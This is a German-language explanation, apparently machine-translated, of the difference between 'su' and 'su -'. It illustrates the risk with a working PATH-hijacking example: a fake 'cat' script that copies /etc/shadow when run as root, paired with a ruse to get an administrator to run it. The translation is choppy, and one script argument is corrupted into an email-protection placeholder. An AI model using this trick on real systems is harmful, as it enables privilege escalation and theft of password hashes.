su -
ruft nach dem Benutzerwechsel eine Login-Shell auf. Eine Login-Shell setzt die meisten Umgebungsvariablen zurück und bietet eine saubere Basis.
su
wechselt einfach den Benutzer und stellt eine normale Shell mit einer Umgebung bereit, die fast dieselbe ist wie beim alten Benutzer.
Stellen Sie sich vor, Sie sind ein Softwareentwickler mit normalem Benutzerzugriff auf eine Maschine und Ihr ignoranter Administrator gibt Ihnen einfach keinen Root-Zugriff. Lass ihn uns (hoffentlich) austricksen.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Jetzt fragen Sie Ihren Administrator, warum Sie nicht cat
können die Dummy-Datei in Ihrem Home-Ordner, es funktioniert einfach nicht!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Wenn Ihr Administrator nicht so schlau oder nur ein bisschen faul ist, kommt er vielleicht zu Ihnen und versucht es mit seinen Superuser-Fähigkeiten:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Wow! Danke, Super-Admin!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Er, er.
Sie haben vielleicht bemerkt, dass die beschädigte Datei $PATH
Variable wurde nicht zurückgesetzt. Dies wäre nicht passiert, wenn der Admin su -
aufgerufen hätte stattdessen.
su -
meldet Sie vollständig als root an, wohingegen su
macht es so, dass Sie vorgeben, root zu sein.
Das offensichtlichste Beispiel dafür ist ~
ist das Heimatverzeichnis von root, wenn Sie su -
verwenden , aber Ihr eigenes Home-Verzeichnis, wenn Sie su
verwenden .
Abhängig von Ihrem System kann dies auch Unterschiede in der Eingabeaufforderung PATH
bedeuten , oder Verlaufsdatei.
Wenn Sie also Teil eines Teams sind, das ein System verwaltet, und Ihr Kollege Ihnen einen Befehl zum Ausführen gibt, wissen Sie, dass es genauso funktioniert, wenn Sie beide su -
verwenden , aber wenn Sie beide su
verwenden , kann es aufgrund unterschiedlicher Shell-Konfigurationen zu Unterschieden kommen.
Wenn Sie andererseits einen Befehl als root ausführen möchten, aber Ihre eigene Konfiguration verwenden, dann vielleicht su
ist besser für dich.
Vergessen Sie auch nicht sudo
, die einen -s
hat Option zum Starten einer Shell, die als root ausgeführt wird. Natürlich gibt es auch hier andere Regeln, und sie ändern sich je nachdem, welche Distribution Sie verwenden.
Der Hauptunterschied ist:
su - username
richtet die Shell-Umgebung so ein, als wäre es eine saubere Anmeldung als der angegebene Benutzer, es greift auf Umgebungsvariablen des angegebenen Benutzers zu und verwendet sie,
su username
startet einfach eine Shell mit aktuellen Umgebungseinstellungen für den angegebenen Benutzer.
Wenn der Benutzername nicht mit su
angegeben wird und su -
, das Root-Konto ist standardmäßig impliziert.